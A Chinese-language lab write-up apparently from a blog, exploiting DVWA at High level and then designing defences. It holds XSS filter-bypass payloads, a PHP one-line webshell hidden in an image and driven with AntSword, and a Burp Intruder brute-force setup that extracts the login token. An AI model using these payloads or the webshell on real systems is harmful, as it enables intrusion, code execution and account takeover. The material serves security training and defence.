典型Web漏洞实战 (DVWA靶场)

发布时间:2026/8/12 19:37:22
典型Web漏洞实战 (DVWA靶场) 声明文档内全部 Web 漏洞实战流程、攻击载荷、渗透思路仅供安全学习交流。一切渗透测试活动必须提前获取目标主体书面合法授权。禁止针对任何未授权线上业务实施漏洞探测与利用。未经授权的网络攻击触犯法律违规人员自行承担全部法律后果。一、漏洞扫描DVWADamn Vulnerable Web Application作为测试靶场。一靶场部署过程部署方式本地部署具体步骤打开小皮面板启动Apache,Mysql套件在浏览器中访问进入靶场。二漏洞扫描与筛选工具选择Burp Suite支持抓包、主动扫描与 Intruder 攻击模块可覆盖多种漏洞的扫描与复现需求。中国蚁剑功能包括 WebShell 管理、服务器操作、数据库管控。扫描操作代理配置打开 Burp进入 “Proxy - Options” 模块添加代理监听地址10.1.xxx.xxx端口8080勾选 “Enable” 启用在火狐浏览器中打开设置的代理插件将 HTTP/HTTPS 代理指向 10.1.xxx.xxx:8080确保浏览器流量可被 Burp 捕获。 扫描配置进入 Burp“Scanner - New scan”在 “Target URL” 中输入http://10.1.xxx.xxx/DVWA扫描类型选择 勾选 “Scan recursively”在 “Scan policies” 中选择 “Default”默认扫描策略包含 OWASP Top 10 漏洞检测规则点击 “Start scan” 启动扫描。扫描结果记录扫描时长约 10分钟共检测到漏洞 6 个选择了其中三种三种目标漏洞的关键扫描结果如下表漏洞名称检测到的 URL关联参数反射型 XSShttp://10.1.xxx.xxx/vulnerabilities/xss_r/name文件上传漏洞http://10.1.xxx.xxx/vulnerabilities/csrf/file暴力破解弱密码http://10.1.xxx.xxx/login.phpusername,password二、漏洞利用XSS一XSS 漏洞反射型1. 复现步骤第一步基础测试登录 DVWAHigh 级别进入 “XSS (Reflected)” 模块输入scriptalert(document.domain)/script并点击 “Submit”页面无弹窗仅显示文本 “Hello”说明script标签被过滤。第二步绕过测试修改 Payload 为img src1 onerroralert(document.domain)并提交请求页面弹出 “10.1.xxx.xxx” 复现成功。第三步抓包验证Burp 开启拦截重新提交 Payload查看 Request 和 Response。Request 中nameimg src1 οnerrοralert(document.domain)Response 中preHello img src1 οnerrοralert(document domain)/pre标签未被过滤。2. High 级别漏洞核心原因服务器仅通过正则表达式preg_replace(/script/i, , $_GET[name])过滤script标签但未覆盖img/svg/iframe等其他可触发脚本的标签。用户输入未做 HTML 实体编码直接拼接至 HTML 响应中浏览器解析时执行onerror事件。同时未对onerror/onload/onclick等危险事件属性进行校验导致非 script 标签仍可执行恶意代码。二存储型 XSS 漏洞1. 复现步骤第一步基础测试进入 “XSS (Stored)” 模块High 级别在 “Message” 输入框输入scriptalert(document.domain)/script“Name” 输入框输入 “1”点击 “Sign Guestbook”页面无弹窗script标签被过滤。第二步绕过测试尝试大小写双写均没有反应。在“Name”输入框中尝试注入检查时发现name长度最大为10。按F12打开开发者工具在元素中将长度修改为1000尝试使用img标签注入 img src# οnerrοralert(1),有弹窗显示复现完成。第三步抓包验证Burp 拦截提交请求Request 中txtName%3Cimgsrc%3D%23onerror%3Dalert%281%29%3EmtxMessage1btnSignSignGuestbookResponse 中该标签未被过滤且数据库中存储的内容包含完整恶意标签。2. High 级别漏洞核心原因服务器仅对script标签进行正则过滤未处理svg/body等可触发脚本的标签。用户输入的恶意内容直接存储到数据库页面渲染时从数据库读取内容并直接输出未做 HTML 实体编码导致每次访问页面都会执行恶意脚本。三DOM 型 XSS 漏洞1. 复现步骤第一步基础测试进入 “XSS (DOM)” 模块High 级别页面显示 “Select a language” 下拉框默认 URL 为http://10.1.xxx.xxx/DVWA/vulnerabilities/xss_d/?DefaultEnglish。输入scriptalert(1)/script替换 URL 中的 “English”页面无弹窗前端过滤了script标签。第二步绕过测试修改 URL 为http://10.1.xxx.xxx/DVWA/vulnerabilities/xss_d/#img srcx onerroralert(document.domain)页面加载后下拉框渲染时触发onerror事件弹出 “10.1.xxx.xxx” 告警框复现成功。2. High 级别漏洞核心原因服务器未参与 DOM 型 XSS 的触发漏洞核心在于前端代码缺陷仅过滤 URL 参数中的script标签未处理location.hash等其他 DOM 属性使用document.write()直接将动态内容写入 DOM未对内容进行编码前端未采用textContent等安全的 DOM 操作方法而是使用易触发 XSS 的innerHTML/document.write()导致恶意代码可被解析执行。文件上传1. 复现步骤第一步制作图片马准备正常图片1.jpg大小≥100KB在终端执行copy 1.jpg/bmuma.php/a muma.jpeg其中muma.php 内容为?php eval($_POST[cmd]); ?生成的muma.jpeg文件头部保留图片特征尾部包含 PHP 代码。使用记事本查看程序。第二步基础上传测试上传muma.php页面提示 “Invalid file extension!”被拦截。拦截请求查看Content-Type为image/jpeg.第三步图片马上传上传muma.jpeg上传后显示存储路径为../../hackable/uploads/muma.jpeg。第四步木马验证打开蚁剑工具添加目标http://10.1.xxx.xxx/DVWA/hackable/uploads/muma.jpeg密码 “cmd”连接成功后执行phpinfo();蚁剑面板显示 PHP 环境信息证明木马可执行。2. High 级别漏洞核心原因服务器仅做两层校验一是扩展名白名单$allowed_ext array(jpg,png,gif)二是 MIME 类型校验finfo_file()获取文件头部 MIME但未验证文件完整内容。上传目录/hackable/uploads/未配置 PHP 执行限制即使是.jpg后缀文件若包含 PHP 代码仍会被服务器解析执行。同时上传文件保留原文件名攻击者可通过猜测路径访问恶意文件。暴力破解1. 复现步骤第一步将安全等级调整为high,抓包获取 Token进入登录页输入 admin/123456Burp 拦截请求发现参数usernameadminpassword123456user_token337aa68f87984e91d8b482d6075ab631LoginLogin。第二步配置 Intruder将请求发送至 Intruder标记password和user_token为攻击位置。设置为Pitchfork攻击模式。Payload 1 上传一个包含多种密码的字典文件Payload 2 设置参数提取每次都提取数据包的token值创建资源池设置当前最大请求数为1在setting中设置最大失败的尝试数为1打开重新定向选中token设置第二个payload类型为递归查找。第三步启动爆破攻击结果中密码 “password” 对应的响应含 “Welcome to DVWA”响应长度 4752 字节其他失败请求为 4709字节。High 级别漏洞核心原因user_token仅与会话绑定可通过录制 Macro 动态获取无 IP / 时间绑定机制。服务器仅添加单次请求延迟2 秒未设置登录失败阈值低速爆破5 线程可绕过延迟限制。同时默认密码 “password” 未被强制修改符合弱密码特征易被字典匹配。三、防御方案设计与验证一 XSS 防御方案一反射型 XSS漏洞缺陷仅通过正则过滤script标签未覆盖img/svg等其他可触发脚本的标签且无输入内容类型限制输出编码不规范未指定ENT_QUOTES和编码格式可能被单 / 双引号绕过无 CSRF Token 校验存在 CSRFXSS 组合攻击风险未限制输入长度攻击者可构造超长恶意 Payload 尝试绕过过滤1.多层防御设计1输入白名单校验仅允许合法字符避免恶意payload输入。2.全量HTML实体编码3。CSRF Token 校验使用加密安全的随机数生成 Token上传请求必须携带与 Session 绑定的 Token。2.防御效果验证测试时输入 Payload scriptalert(1)/script页面显示但无弹窗。事件触发测试中输入 Payload img srcx οnerrοralert(1)页面有显示无弹窗二存储型 XSS漏洞缺陷输入过滤仅依赖stripslashes和mysqli_real_escape_string未限制 XSS 恶意字符无输入内容白名单限制攻击者可构造svg/img等非script标签的恶意 Payload未限制输入长度超长恶意 Payload 可能绕过过滤或导致数据库存储异常未对数据库读取后的内容进行二次编码校验存在存储后渲染风险。1.多层防御设计1输入白名单校验2规范化输出避免攻击者通过单双引号绕过。3入库前编码确保数据库中存储的是安全的实体编码内容。2.防御效果验证测试时输入 Payload scriptalert(1)/script页面显示存储成功但均被转义且无弹窗。输入 Payload img srcx οnerrοralert(1)显示相同。输入超过内容长度的留言页面提示内容长度超限。三DOM型 XSS漏洞缺陷前端仅过滤 URL 参数中的script标签未处理location.hash/location.search等其他用户可控 DOM 属性前端使用document.write()/innerHTML等危险 DOM 操作方法直接将用户输入渲染到页面1.多层防御设计1前端安全DOM操作2前后端双重输入校验2. 防御效果验证测试时输入Payload?defaultscriptalert(1)/script后端白名单拦截渲染为文本无弹窗。输入 Payload img srcx οnerrοralert(1)渲染为文本无弹窗。文件上传防御方案漏洞缺陷校验维度单一仅校验扩展名 / MIME 类型未深度验证文件内容无 Anti-CSRF Token 校验存在跨站上传恶意文件风险未清理文件元数据可能存在隐写恶意代码的风险文件名处理不规范存在路径遍历 / 文件名注入风险无文件大小限制可能存在超大文件上传导致服务器资源耗尽风险。1. 多层防御设计1 .CSRF Token 校验防止跨站请求伪造上传恶意文件使用加密安全的随机数生成 Token上传请求必须携带与 Session 绑定的 Token杜绝 CSRF 攻击导致的恶意文件上传。2.多维度文件合法性校验从扩展名、MIME 类型、文件大小、文件内容四层校验杜绝恶意文件绕过strtolower函数将扩展名小写以后仅允许jpg/jpeg/png这三种。$uploaded_size 100000限制上传文件的大小防止超大文件上传导致服务器内存耗尽同时降低恶意大文件的攻击风险。$uploaded_type image/jpeg || $uploaded_type image/png。校验 HTTP 请求头中的 Content-Type仅允许图片类型防止攻击者篡改文件扩展名把.php改为.jpeg。3 .文件命名与存储防止文件名注入路径遍历使用md5生成唯一随机文件名使用绝对路径移动文件清理临时文件。4.图片重编码清楚恶意数据通过 GD 库重新编码图片清除所有嵌入的恶意代码、元数据2. 防御效果验证文件上传测试中muma.php页面提示 “Invalid file extension!”。图片马上传测试中上传muma.jpeg含 PHP 代码页面提示 “Not a valid image file!”。正常图片上传测试中上传1.jpg上传成功文件重命名访问仅显示图片内容。暴力破解防御方案漏洞缺陷仅依赖 Token 验证但未与IP绑定Token 可通过 Macro 动态获取失败次数限制逻辑缺失仅靠延迟无法阻挡低速爆破无 Anti-CSRF token 校验机制存在跨站请求伪造风险。1. 多层防御设计1 CSRF Token 校验防止跨站请求伪造增加爆破难度Token需要实时获取使用强随机数生成 Token且每次请求需携带与 Session 绑定的 Token。当用户 Session 过期如长时间无操作session_token会随 Session 销毁而失效若用户主动退出登录销毁 SessionToken 也会立即失效。2账号锁定在登陆失败次数超过3次时锁定15分钟防止暴力破解。定义锁定规则查询失败登陆记录校验账号锁定状态未到时间则不允许解锁。3.用户输入处理防止 SQL 注入同时规范用户输入代码对用户输入进行了清理并使用MD5进行加密。2. 防御效果验证暴力爆破测试中使用 Burp Intruder 爆破 admin 账号3 次失败后提示“账号锁定 15分钟”后续请求均被拒绝。Token 篡改测试中修改请求中的 user_token页面提示 “Token 验证失败”登录请求被拒绝。四、总结本文通过 DVWA 靶场实战复现并分析了反射型 XSS、存储型 XSS、DOM 型 XSS、文件上传和暴力破解五种常见 Web 漏洞。针对每种漏洞记录了复现步骤以及剖析了 High 安全级别下的核心缺陷并设计了多层防御方案进行验证。从防御实践来看单一维度的防护如仅过滤script标签、仅校验文件扩展名极易被绕过。有效的安全防护需要构建纵深防御体系输入校验采用白名单机制严格限制用户输入的内容类型和长度输出编码对所有动态输出进行 HTML 实体编码防范 XSS 攻击内容安全前端避免使用innerHTML、document.write()等危险方法改用textContent等安全 API文件安全多维度校验文件扩展名、MIME 类型、文件头、内容重编码并采用随机文件名存储会话与认证引入 CSRF Token、登录失败锁定、强密码策略等机制提升暴力破解难度。通过本次实验可以清晰地看到安全是一个持续的过程需要开发、测试、运维等多环节协同将安全原则如最小权限、纵深防御、不信任用户输入贯穿于软件生命周期才能有效降低 Web 应用的安全风险。